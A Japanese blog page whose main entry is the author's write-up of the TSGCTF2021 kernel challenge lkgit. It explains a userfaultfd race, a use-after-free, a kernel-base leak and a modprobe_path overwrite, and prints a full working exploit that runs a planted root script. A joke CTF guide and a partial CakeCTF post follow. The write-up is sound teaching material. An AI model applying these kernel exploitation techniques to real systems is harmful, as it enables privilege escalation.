【pwn 54.12】lkgit (kernel exploit) TSGCTF2021: author's & community writeups
- 1: イントロ
- 2: 配布ファイル
- 3: let's debug
- 4: Vuln: race condition
- 5: uffd using structure on the edge of two-pages
- 6: AAW and modprobe_path overwrite
- 7: full exploit
- 8: Community Writeups
- 9: 余談
- 10: アウトロ
- 10: 参考
Also please refer to here:
https://hackmd.io/pcgHqeRETkC2KsOS_n3htQ
1: イントロ
いつかは忘れましたが、 TSGCTF2021 が開催されました。今年もFlatt Securityさんにスポンサーをしていただき開催することができました。ありがとうございます。
今年は院試なりで人生が崩壊していて作問する予定はなく、mora a.k.a パン人間さんが全pwnを作問するかと思われましたが、作問してない&&参加できないCTFを見守るのはつまらないため、1問作りました。
作ったのはpwnのkernel問題 lkgit で、想定難易度medium、最終得点322pts、最終solve数7(zer0pts
/./Vespiary
/hxp
/Tokyowesterns
/Super Guesser
/L00P3R
/DSGS4T
)、first-bloodはzer0pts(公開後約2h)となりました。TSGは難易度想定及び告知の仕方を間違えているという意見をたまに聞きますが、ぼくもそう思います。しかしpwn勢に限ってはどのチームでも例外なく、皆一概に良心であり、性格が良く、朝は早く起き、一汁三菜を基本とした健全な食生活を送り、日々運動を欠かさない、とても素晴らしい人々である事であることが知られています(対極を成すのがcrypto勢です。すいません、嘘です。cryptoも良い魔法使いばかりです)。よって、この問題も作問方針やレビューを受けて適切に難易度づけしました。
作問方針は、「kernel問題でeasyな問題があってもいいじゃないか。但し全部コピペはダメだよ!ほんの少しパズル要素があって、でもストレスフルで冗長なのは嫌!」です。一般にpwnのuserlandのbeginner問はオーバーフローなりOOBなりが出題されますが、それと同程度とまでは行かずとも典型的で解きやすい問題を設定しました。かといって、コピペはだめなので要点要点で自分でちゃんと考える必要のある問題にしたつもりです。kernel問の中ではかなりeasyな部類で、まぁkernel特有の面倒臭さを若干考慮してmediumにしました。
おそらくcHeap
やcoffee
は解いたけど、配布ファイルの中にbzImageを見つけてそっとパソコンをそっと閉じた人もいるかもしれませんが、本エントリはlkgitを題材にしたkernel exploit入門的な感じでできる限り丁寧に書こうと思うので、是非手元で試しつつ実際にexploitを動かしてみてください。そしてつよつよになって僕にpwnを教えてください。お願いします。
また、一般にwriteupを書くのは偉いことであり、自分の問題のwriteupを見るのは楽しい事であることが知られているため、他の人が書いたwriteupも最後に載せています。
あと、Surveyは競技終了後の今でも(というか、なんなら1週間後、1ヶ月後、1年後)解答自体は出来るし、繰り返し送信することも可能なので、解き直してみて思ったことでも、この問題のココが嫌いだとかでも、秋田犬が好きだでも何でも良いので、送ってもらえるとチーム全員で泣いて喜んで泣いて反省して来年のTSGCTFが少しだけ良いものになります。
2: 配布ファイル
さて、配布されたlkgit.tar.gz
を展開すると、lkgit
というディレクトリが出てきて、そのディレクトリには再度lkgit.tar.gz
が入っています。ごめんなさい。kernel問の作問時にはMakefileでtar.gzまで一気に作るのですが、TSGCTFの問題はほぼ全てCTFdへの登録の際に初めてtar.gzするという慣習があるため、2回圧縮してしまいました。勿論配布後に確認したのですが、tarを開いてtarが出てきた時、自分の記憶が一瞬飛んだのかと思ってスルーしてしまいました。まぁ非本質です。
配布ファイルはこんな感じです。
. ├── bzImage: kernel image本体. (./bzImage: Linux kernel x86 boot executable bzImage, version 5.10.25 (hack@ash) #1 Fri Oct 1 20:11:36 JST 2021, RO-rootFS, swap_dev 0x3, Normal VGA) ├── rootfs.cpio: root filesystem ├── run.sh: QEMUの起動スクリプト └── src: ソースコード達 ├── client │ └── client.c: clientプログラム。読まなくてもOK. ├── include: kernel/client共通ヘッダファイル │ └── lkgit.h └── kernel: LKMソースコード └── lkgit.c
因みに、カーネルのビルドホストがちゃんといじられていない場合authorの名前が分かってRECON出来る可能性があります。今回は hack@ash にしました。
rootfs.cpio
やbzImage
の展開・圧縮の仕方等は以下を参考にしてみてください。
https://github.com/smallkirby/snippet/blob/master/exploit/kernel/extract.sh
https://github.com/smallkirby/snippet/blob/master/exploit/kernel/extract-vmlinux.sh
https://github.com/smallkirby/snippet/blob/master/exploit/kernel/mr.sh
以下のスクリプトを使って起動すると、なんかいい感じにファイルシステムを展開したり圧縮したりしてQEMUを立ち上げてくれるので、中身を書き換えたいときには便利です。
#!/bin/bash filesystem="rootfs.cpio" extracted="./extracted" extract_filesystem() { mkdir $extracted cd $extracted cpio -idv < "../$filesystem" cd ../ } # extract filesystem if not exists ! [ -d "./extracted" ] && extract_filesystem # compress rm $filesystem chmod 777 -R $extracted cd $extracted find ./ -print0 | cpio --owner root --null -o -H newc > ../rootfs.cpio cd ../ # run sh ./run.sh
起動してみると、サンプルとなるクライアントプログラムが置いてあります。このクライアントプログラムは、ソースコードに書いてあるとおりexploitに実際は必要がありませんが、モジュールの大まかな意図した動作を把握させる他、exploitにそのまま使えるutility関数を提供する目的で添付しました。クライアントプログラム(そしてそのままLKM自体)の大まかな機能は以下の通りで、ファイルのハッシュ値の取得、及びハッシュ値からlogをたどったりlogを修正することができます。
3: let's debug
さてさてデバッグですが、run.sh
に-s
オプションをつけることでQEMUがGDB serverを建ててくれるため、あとはGDB側からattach
するだけです。但し、僕の環境ではkernelのデバッグでpwndbg
を使うとステップ実行に異常時間を食うため、いつもバニラを使っています。以下の.gdbinit
を参考にして心地よい環境を作ってみてください。
https://github.com/smallkirby/dotfiles/blob/master/gdb/.gdbinit
但し、シンボル情報はないためrootでログインして/proc/kallsyms
からシンボルを読んでデバッグしてください。この際、run.sh
とinit
に以下のような変更をすると良いです。
# init 34,35c34,35 < echo 2 > /proc/sys/kernel/kptr_restrict < echo 1 > /proc/sys/kernel/dmesg_restrict --- > echo 0 > /proc/sys/kernel/kptr_restrict > echo 0 > /proc/sys/kernel/dmesg_restrict 43c43,44 < setsid cttyhack setuidgid user sh --- > #setsid cttyhack setuidgid user sh > setsid cttyhack setuidgid root sh # run.sh 7c7 < -append "console=ttyS0 oops=panic panic=1 quiet" \ --- > -append "console=ttyS0 panic=1" \ 8a9 > -s \
4: Vuln: race condition
さて、今回の脆弱性は明らかでrace-conditionが存在します。kernel問題では、copy_from_user()
やcopy_to_user()
関数等でユーザランドとデータのやり取りを行う前に、ユーザランドのメモリに対してuserfaultfd
というシスコールで監視を行うことで、登録したユーザランドのハンドラをフォルト時に呼ばせることができます。mmap
で確保したページは、最初はzero-pageに無条件でマップされているため、初めてのwrite-accessが発生した場合にフォルトが起きます(あと最近のuserfaultfdではwrite-protectedなページに対するハンドラを設定することも可能になっています)。このへんのテクニックの原理・詳細については以下のリポジトリに置いているため気になる人は見てみてください。
https://github.com/smallkirby/kernelpwn/blob/master/technique/userfualtfd.md
さて、本問題においてはlkgit_get_object()
関数でコミットオブジェクトを取得する際に、kernellandからuserlandへのコピーが複数回発生します。よって、ここでフォルトを起こしてkernel threadの処理を停止し、ユーザランドに処理を移すことができます。
static long lkgit_get_object(log_object *req) { long ret = -LKGIT_ERR_OBJECT_NOTFOUND; char hash_other[HASH_SIZE] = {0}; char hash[HASH_SIZE]; int target_ix; hash_object *target; if (copy_from_user(hash, req->hash, HASH_SIZE)) // ...1 goto end; if ((target_ix = find_by_hash(hash)) != -1) { target = objects[target_ix]; ...★1 if (copy_to_user(req->content, target->content, FILE_MAXSZ)) // ...2 goto end; // validity check of hash get_hash(target->content, hash_other); if (memcmp(hash, hash_other, HASH_SIZE) != 0) goto end; if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // ...3 goto end; if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // ...4 goto end; ret = 0; } end: return ret; }
それとは別に、新しくcommitオブジェクトを作るlkgit_hash_object()
において、hash値が衝突すると古い方のオブジェクトがkfree()
されるようになっています。まぁ、hashの衝突と言っても同じファイル(文字列)を渡せばいいだけなのでなんてことはありません。本当はほんもののgitっぽくSHA-1使って、commitオブジェクトとtreeオブジェクトとか分けて・・・とか考えていたんですが、ソースコードが異常量になったので辞めました。あくまで今回のテーマは、おおよそ典型的だが要所で自分で考えなくてはいけないストレスフリーな問題なので。
static long save_object(hash_object *obj) { int ix; int dup_ix; // first, find conflict of hash if((dup_ix = find_by_hash(obj->hash)) != -1) { kfree(objects[dup_ix]); objects[dup_ix] = NULL; } // assign object for (ix = 0; ix != HISTORY_MAXSZ; ++ix) { if (objects[ix] == NULL) { objects[ix] = obj; return 0; } } return -LKGIT_ERR_UNKNOWN; }
さて、kfreeとレースが組み合わさった時kUAF
をまず考えます。get関数で処理を止めている間に処理を止めて、フォルトハンドラの中でhash値が重複するオブジェクトを作成すると、そのオブジェクトが削除されます。しかし、このオブジェクトのアドレスは★1でスタックに積まれているため、その状態でgetをresumeさせると、kfree()
されたアドレスを使い続けることになりkUAFが成立します。
5: uffd using structure on the edge of two-pages
kUAFが出来たので、この構造体と同じサイズを持つkernelland構造体を新たに確保してkfree
されたオブジェクトの上に乗っけましょう。
typedef struct { char hash[HASH_SIZE]; char *content; char *message; } hash_object;
構造体のサイズは0x20なのでseq_operations
が使えますね。いい加減これを使うのも飽きたので他の構造体を使ってSMEP/SMAPを回避させても良かったんですが、めんどくさくなるだけっぽかったのでseq_operations + modprobe_path
で行けるようにしました。seq_operations
の確保の仕方はこのへんを参考にしてください。また、uffdを使ったexploitのテンプレについては以下を参考にしてください。
https://github.com/smallkirby/snippet/blob/master/exploit/kernel/userfaultfd-exploit.c
但し、上の通りにやっても恐らくleakには失敗すると思います。ここがkernel問題に慣れている人にとって多分唯一の一瞬だけ立ち止まる場所だと思います。get関数を見返してみると、userlandへアクセスを行う箇所が4箇所有ることが分かると思います。問題はどこでフォルトを起こして処理を止めるとleakができるかです。
1. 取得するlogのhash値自体の取得。この時点では対象オブジェクトの特定自体ができていないため、止めても意味がありません。
2. content
のコピー。ここで止めた場合、seq_operations
がコミットオブジェクトの上にかぶさるため、その値はunknownになります。よって、直後に有る謎のvalidity_check()
でひっかかって処理が終わってしまいます。よってここで止めるのもなしです。
3. ココで止めた場合、直後にvalidity checkもなく、続くcopyでhash
からシンボルをleakできるので嬉しいです。
4. ココで止めても、コレ以降コピーがないためleakはできません。
よって、唯一の選択肢は3のmessage
のコピーで止めることで、逆を言えばコレ以外で止めてはいけません。しかし、普通にユーザランドでmmap
したページに何も考えず構造体をおくと、1の時点でフォルトが起きてしまい、うまくleakすることができません。
さて、どうしましょう。といっても、恐らく答えは簡単に思いついて、 構造体を2ページにまたがるように配置し、片方のページにだけフォルトの監視をつければOK です。
6: AAW and modprobe_path overwrite
さて、これでkernbaseのleakができました。任意のシンボルのアドレスが分かったことになります。あとはAAWがほしいところです。ここまでで使っていないのはlkgit_amend_commit
ですが、これは内部でget関数を呼び出す怪しい関数です。案の定、オブジェクトのアドレスをスタックに積んで保存しちゃっています。なので、ここでgetの間にやはり処理を飛んでkfree
すれば解放されたオブジェクトに対して書き込みを行うことが出来ます。
static long lkgit_amend_message(log_object *reqptr) { long ret = -LKGIT_ERR_OBJECT_NOTFOUND; char buf[MESSAGE_MAXSZ]; log_object req = {0}; int target_ix; hash_object *target; if(copy_from_user(&req, reqptr->hash, HASH_SIZE)) goto end; if ((target_ix = find_by_hash(req.hash)) != -1) { target = objects[target_ix]; // save message temporarily if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) goto end; // return old information of object ret = lkgit_get_object(reqptr); // amend message memcpy(target->message, buf, MESSAGE_MAXSZ); } end: return ret; }
また、2つの構造体を比較してみると、message
として確保される領域がlog_object
と同じサイズであることがわかります。
#define MESSAGE_MAXSZ 0x20 typedef struct { char hash[HASH_SIZE]; char *content; char *message; } hash_object;
最後に、lkgit_hash_object()
における各バッファの確保順を見てみると以下のようになっています。
char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL);
よって、amend->get->止める->オブジェクト削除->新しくlog_object
の作成->amend再開とすることで、amendで書き込む対象であるmessage
を任意のアドレスに向けることが可能です。これでAAWになりました。
ここまできたら、あとはお決まりのmodprobe_path
テクニックによってrootで任意のことが出来ます。modprobe_path
の悪用については、以下の2点を読むと原理と詳細が解ると思います。
https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md
https://github.com/smallkirby/kernelpwn/blob/master/important_config/STATIC_USERMODEHELPER.md
modprobe_path
のアドレスの特定については以下を参考にしてください。
https://github.com/smallkirby/kernelpwn/blob/master/important_config/KALLSYMS_ALL.md
7: full exploit
/**************** * * Full exploit of lkgit. * ****************/ #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <netinet/in.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/shm.h> #include "../src/include/lkgit.h"// commands #define DEV_PATH "/dev/lkgit" // the path the device is placed #define ulong unsigned long #define scu static const unsigned long #// constants #define PAGE 0x1000 #define NO_FAULT_ADDR 0xdead0000 #define FAULT_ADDR 0xdead1000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals int uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int lkgit_fd; char buf[0x400]; unsigned long len = 2 * PAGE; void *addr = (void*)NO_FAULT_ADDR; void *target_addr; size_t target_len; int tmpfd[0x300]; int seqfd; struct sockaddr_in saddr = {0}; struct msghdr socketmsg = {0}; struct iovec iov[1]; ulong single_start; ulong kernbase; ulong off_single_start = 0x01adc20; ulong off_modprobepath = 0x0c3cb20; // (END globals) // utils #define WAIT getc(stdin); #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) ulong user_cs,user_ss,user_sp,user_rflags; /** module specific utils **/ char* hash_to_string(char *hash) { char *hash_str = calloc(HASH_SIZE * 2 + 1, 1); for(int ix = 0; ix != HASH_SIZE; ++ix) { sprintf(hash_str + ix*2, "%02lx", (unsigned long)(unsigned char)hash[ix]); } return hash_str; } char* string_to_hash(char *hash_str) { char *hash = calloc(HASH_SIZE, 1); char buf[3] = {0}; for(int ix = 0; ix != HASH_SIZE; ++ix) { memcpy(buf, &hash_str[ix*2], 2); hash[ix] = (char)strtol(buf, NULL, 16); } return hash; } void print_log(log_object *log) { printf("HASH : %s\n", hash_to_string(log->hash)); printf("MESSAGE: %s\n", log->message); printf("CONTENT: \n%s\n", log->content); } /** END of module specific utils **/ void *conflict_during_fault(char *content) { // commit with conflict of hash char content_buf[FILE_MAXSZ] = {0}; char msg_buf[MESSAGE_MAXSZ] = {0}; memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000... hash_object req = { .content = content_buf, .message = content_buf, }; printf("[.] committing with conflict...: %s\n", content); assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0); printf("[+] hash: %s\n", hash_to_string(req.hash)); } // userfaultfd-utils static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd //struct uffdio_copy uffdio_copy; struct uffdio_range uffdio_range; struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n", (void*)msg.arg.pagefault.address); // Now, another thread is halting. Do my business. char content_buf[FILE_MAXSZ] = {0}; if (target_addr == (void*)NO_FAULT_ADDR) { puts("[+] first: seq_operations"); memset(content_buf, 'A', FILE_MAXSZ); conflict_during_fault(content_buf); puts("[+] trying to realloc kfreed object..."); if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0) { errExit("open seq_operations"); } // trash uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1); uffdio_range.len = PAGE; if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1) errExit("ioctl-UFFDIO_UNREGISTER"); } else { printf("[+] target == modprobe_path @ %p\n", (void*)kernbase + off_modprobepath); strcpy(content_buf, "/tmp/evil\x00"); conflict_during_fault(content_buf); puts("[+] trying to realloc kfreed object..."); long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long)); for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix) { buf[ix] = kernbase + off_modprobepath; } char content_buf[FILE_MAXSZ] = {0}; char hash_buf[HASH_SIZE] = {0}; strcpy(content_buf, "uouo-fish-life\x00"); hash_object req = { .content = content_buf, .message = (char*)buf, }; assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0); printf("[+] hash: %s\n", hash_to_string(req.hash)); // write evil message puts("[+] copying evil message..."); char message_buf[PAGE] = {0}; strcpy(message_buf, "/tmp/evil\x00"); uffdio_copy.src = (unsigned long)message_buf; uffdio_copy.dst = msg.arg.pagefault.address; uffdio_copy.len = PAGE; uffdio_copy.mode = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); } break; } puts("[+] exiting fault_handler_thrd"); } void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap addr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. printf("[+] mmapped @ %p\n", addr); if(addr == MAP_FAILED || addr != target_addr) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) // first step if (target_addr == (void*)NO_FAULT_ADDR) { uffdio_register.range.start = (size_t)(target_addr + PAGE); uffdio_register.range.len = PAGE; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; } else { // second step uffdio_register.range.start = (size_t)(target_addr + PAGE); uffdio_register.range.len = PAGE; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; } //uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protection if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } // (END userfaultfd-utils) int main(int argc, char *argv[]) { puts("[.] starting exploit..."); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri"); system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil"); system("chmod +x /tmp/evil"); system("chmod +x /tmp/nirugiri"); lkgit_fd = open(DEV_PATH, O_RDWR); if(lkgit_fd < 0) { errExit("open"); } // register uffd handler target_addr = (void*)NO_FAULT_ADDR; target_len = 2 * PAGE; register_userfaultfd_and_halt(); sleep(1); log_object *log = (log_object*)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ)); printf("[.] target addr: %p\n", target_addr); printf("[.] log: %p\n", log); // spray puts("[.] heap spraying..."); for (int ix = 0; ix != 0x90; ++ix) { tmpfd[ix] = open("/proc/self/stat", O_RDONLY); } // commit a file normaly char content_buf[FILE_MAXSZ] = {0}; char msg_buf[MESSAGE_MAXSZ] = {0}; char hash_buf[HASH_SIZE] = {0}; memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000... strcpy(msg_buf, "This is normal commit.\x00"); hash_object req = { .content = content_buf, .message = msg_buf, }; assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0); printf("[+] hash: %s\n", hash_to_string(req.hash)); memset(content_buf, 0, FILE_MAXSZ); strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000 strcpy(msg_buf, "This is second commit.\x00"); assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0); printf("[+] hash: %s\n", hash_to_string(req.hash)); // try to get a log and invoke race // this fault happens when copy_to_user(to = message), not when copy_to_user(to = content). memset(log->hash, 0, HASH_SIZE); assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0); print_log(log); // kernbase leak single_start = *(unsigned long*)log->hash; kernbase = single_start - off_single_start; printf("[!] single_start: %lx\n", single_start); printf("[!] kernbase: %lx\n", kernbase); // prepare for race again. target_len = PAGE * 2; target_addr = (void*)NO_FAULT_ADDR + PAGE*2; register_userfaultfd_and_halt(); sleep(1); // amend to race/AAW log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ)); memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000 puts("[.] trying to race to achive AAW..."); int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log); if (e != 0) { if (e == -LKGIT_ERR_OBJECT_NOTFOUND) { printf("[ERROR] object not found: %s\n", hash_to_string(log->hash)); } else { printf("[ERROR] unknown error in AMEND.\n"); } } // nirugiri puts("[!] executing evil script..."); system("/tmp/nirugiri"); system("cat /home/user/flag"); printf("[.] end of exploit.\n"); return 0; }
今回はwget
こそ入っているもののネットワークモジュールが実装されていないため使えません。これはコンフィグ変にいじってデカ重になったりビルドし直したりするのが嫌だったのでこのままにしておきました。まぁBASE64で送るだけなので、大変さはそんなじゃないと思っています。送り方がわからない人は以下を見てください。
https://github.com/smallkirby/snippet/blob/master/exploit/kernel/sender.py
8: Community Writeups
解いてくれた人・復習してやってくれた人のブログとかwriteupを集めます。(ただ、軽く見た感じlkgitは触ってくれた人自体がとても少ないみたいでwriteupも見つからず、わんわん泣いています。chatにジェラってます。まぁchat良い問題だからそれはそうなんですが)
1. LOOP3Rさんによる解説(in Discord of TSGCTF)
え、個人チームだったのか。shm_fille_dataを使ったようです。あとuffdのMODE_WPはこのexploitだと使わなくてもいいよーなそうでもないよーな気はしますが、このブログでも触れた通りいい感じに使う機会はありそうです。お見事。
2. しふくろさん(
いつも参考にさせていただいておりまする。きれいですわね。こちらもleakはshm経由で行っています。関係ないけどscpwnに乗り換えようかな。
あとシステムにlibcがあって楽だったっぽいです(一瞬tweet見た時に非想定で一瞬で解けたのかと思ったけど、ただ便利だったっぽいのでOKです。ところで一般のkernel問題ってlibcおいてないんだっけ。僕はいつもローカルで100%いけるようになってからstaticにして送るので気にしたことありませんでした)。
3. ptr-yudaiさんのブログ
4. kileak (Super Guesser)さんによる完全無欠なwriteup
これもう、公式writeupにします、これ以上の説明がないので。kileakさん、なんか聞いたことがあると思ったら、ぼくの故郷ことpwnable.xyzのいくつかの問題(attack,badayum,nin,knum)の作者さんですね、ありがとうございます! (ぼくはknum解くのに8億年かかった記憶があります)
9: 余談
CTF中はみんはやにはまりました。クイズを100問作って解いてもらっていました。楽しかったです。あと、CakeCTFを見習ってswagとして乾パンを贈ろうとしたんですが、駄目でした。
待望の乾パンノベルティをTSGCTFで配ろうと(5分前に)思い、お問い合わせを送ろうとしたところ、乾パンではなく、パンinカンでした。乾パンをご期待頂いていた皆様には誠に申し訳ございません。 https://t.co/iDXjbRRmDd
— smallkirby (@smallkirby) October 3, 2021
10: アウトロ
今回はkernel問のイントロ的に作ってみました。leakのあとはheap問にしたりSMEP/SMAPを回避させるバージョンも考えましたが、素直じゃないので辞めました。一応(慣れている人にとって面白いかどうかは別として)とっつきやすい問題になっていると思います。次はもっと勉強して問題解いていいのを作りたいです。あと、twitterもDiscordもchat
一色になっていて大泣きしています。
lkgitに関して不明点等合った場合は、TwitterかDiscordのDMで聞いてください。
何はともあれ、TSGCTF2021終わりです。また来年、少しだけ成長して会いましょう。
10: 参考
1: ニルギリ
2: my kernelpwn repo
https://github.com/smallkirby/kernelpwn
続く...
【雑談 11.0】ÇTFどは
ÇTFどは
ÇTF どは、 Current Translates into Future の略語で、「現在の事象は、全て未来へと変わっていく」という意味が込められています。競技としてのÇTFは、このオリジナルの意味はほとんど残っておらず、今では Can-pan The Flag が語源だと言われることが多いです。
パソコンと乾パンに関する知識及びスキルを競う競技で、パソコンと乾パンを掌握して Flag と言われる秘密で美味しい情報を奪取し提出すると得点が得られます。一言でÇTFと言っても、様々なジャンルが存在し、乾パンの幅広い分野の知識が要求されます。但し、全ての分野に対して詳しくなる必要は全く無く、どれかの分野だけでも解けるととても楽しいしチーム内で重宝されるようになります。
ジャンルについて
ÇTFには、メインとなる1つのジャンルと、サブとなる4つのジャンルが存在しています。メインジャンルが misc 、サブジャンルが pwn ・ web ・ crypto ・ rev です。以下では、それぞれについて簡単に説明していきます。
misc
ÇTFにおいて最もメジャーなジャンルであり、内容はずばり「なんでも」です。分野を問わずパソコンと乾パンのあらゆる知識が問われるため、最も難易度の高いジャンルになっています。その性質上、ÇTFで多く出題すると参加者から怒られる可能性もつきまといますが、そんなやつらには有無を言わさず拳をくれてやりましょう。
pwn
プログラムの脆弱性を突いて、プログラムの制御を奪取した後、一旦パソコンの電源を切って、近くのスーパーまで行って乾パンを買い、お家に帰って味わいながらそれを食べて、そのあとお水飲んで、一息ついた時の感想をFlagとして提出するジャンルです。問題はプログラムの制御を奪うパート・買い物パート・実食パートに分かれているため、対策が少し難しいジャンルでもあります。しかし実際に乾パンを食べることの出来るジャンルはpwnだけであるため、ハッカーたちの間で根強く人気の有るジャンルです。
web
webブラウザ(ブラウザって知ってますか?InternetExploreとかMicrosoftEdgeとかです)を使ってネットサーフィンをし、目的の乾パンを探す競技です。まれに RECON とも呼ばれます。主にYoutubeを使うための知識、適切な検索エンジンを選択するスキルが問われます。乾パンの画像の一部やメーカーのみが与えられて、その商品名を答えるタイプの問題が多いです。たまにカレーうどんの問題も出ます。
rev
revは、reversingという英語の略語であり、文字通り戻すジャンルです。具体的には、ある乾パンが原子レベルで分解されて配布されるため、それを全く同じ原子分子構造・配列で再構築し、できあがった乾パンを美味しく食することが出来ればFlagが得られます。仮に原子をひと粒でも残してしまったりすると失格になり、一生地球から出禁になります。過去、ZECCONというコンテストで配布された原子が異常に少なく、組み立ててみたら乾パンではなく乾パンの中に入っているゴマであったという騒動が有名です。
crypto
cryptoは、解いてる人が一人もいないジャンルです。
1: 実食編
それでは、実際にÇTFを体験してみましょう。今回実食するジャンルはpwnです。それでは、やっていきましょう。
ÇTFでは、まずスコアサーバを訪れて問題一覧を見る必要があります。
今回は「乾パンパニック!」という1点問題を練習として解いてみましょう。問題をクリックしてみましょう(クリックって知ってますか?)
「乾パンパニックを起こしてください」と書いてあります。ファイルをダウンロードして開いてみましょう。
おや??名前に反してどうやら tar.gz ファイルではないようです。それではここで file コマンドを使ってみましょう。
な、なんと!?名前が tar.gz なのに実際はただのtxtファイルではありませんか!?それでは、中身はどうなっているのでしょうか...?
Flagっぽい文字列が得られました!このように、実は違うファイルになっていて、そのままcatするとそれがそのまま答えというのは、pwnジャンルでは頻出のパターンです。さっそくこれを提出してみましょう。スコアボードに戻り問題欄から先程のフラグを提出します。
あれ、どうやら違うみたいです...(泣)。これがpwnの難しいところです。今一度ジャンルの説明を思い返してみましょう。そうです、pwnでは問題を解いた後に、乾パンを買いに行って、乾パンを食べなくてはならないのです!Flagを得られたと思う誘惑に負けず、一度パソコンを閉じてスーパーに行きましょう。そこで、万物の長である乾パンを買ってきます。
そして何もかもを忘れ、無心に頬張りましょう。嫌なことも悲しいことも、乾パンを食べているときだけは忘れられるものです。そして食べ尽くした後、お茶を飲み、ひと呼吸着いて、パソコンを再び開きます。そして、その時思っていることを、素直に、すごく素直に、書いてみましょう。そう、「乾パンは、おいしい」。
正解!!!
2: 最後に
いかがだったでしょうか???
以上が、大抵の問題の解き方になります。ジャンルに差異こそあれ、まぁ大体は乾パンくったら終わりです。
最後に、今回サンプルとして使ったCTFサイトですが、ついに公開されました!「http://localhost:3000」でアクセスできるので、ぜひとも遊んでみてください!!
続く...
4: 参考
1: パン人間
https://twitter.com/moratorium08/status/992973579108081666?s=20
2: ニルギリ
3: 題材にしたCTF
【pwn 53.27】CakeCTF 2021 - 観戦記
いつぞや開催された CakeCTF 2021 。始まってから初めてzer0pts主催だということを知りました。InterKosenもzer0ptsもCakeもやって、やばいですね。ところで、ここ2ヶ月ぱそこんを触っていなかったため、ぱそこんの立ち上げ方もブログの書き方も忘れてしまいました。もちろんpwnもすべて忘れました。よって、このエントリはwriteupではなく、チームの人(主にmoraさんが)が解いているのをBIGカツを食べながら見ていた感想になります。
1: hwdbg
/dev/mem
への任意のwriteができるため、物理アドレスに対して直で書き込みができるよという問題。2ヶ月ぶりのkernel問(実際は、semi-kernel問)だったため、色々と思い出しながら問題を見ました。いくつかの実験の後に、シンボルの物理アドレスは(少なくともkernellandのシンボルに関しては)実行毎に不変であるという確証が持てたため、下のどれかの作戦で行こうと思いました。
- kernellandのデータ領域(modprobe_path
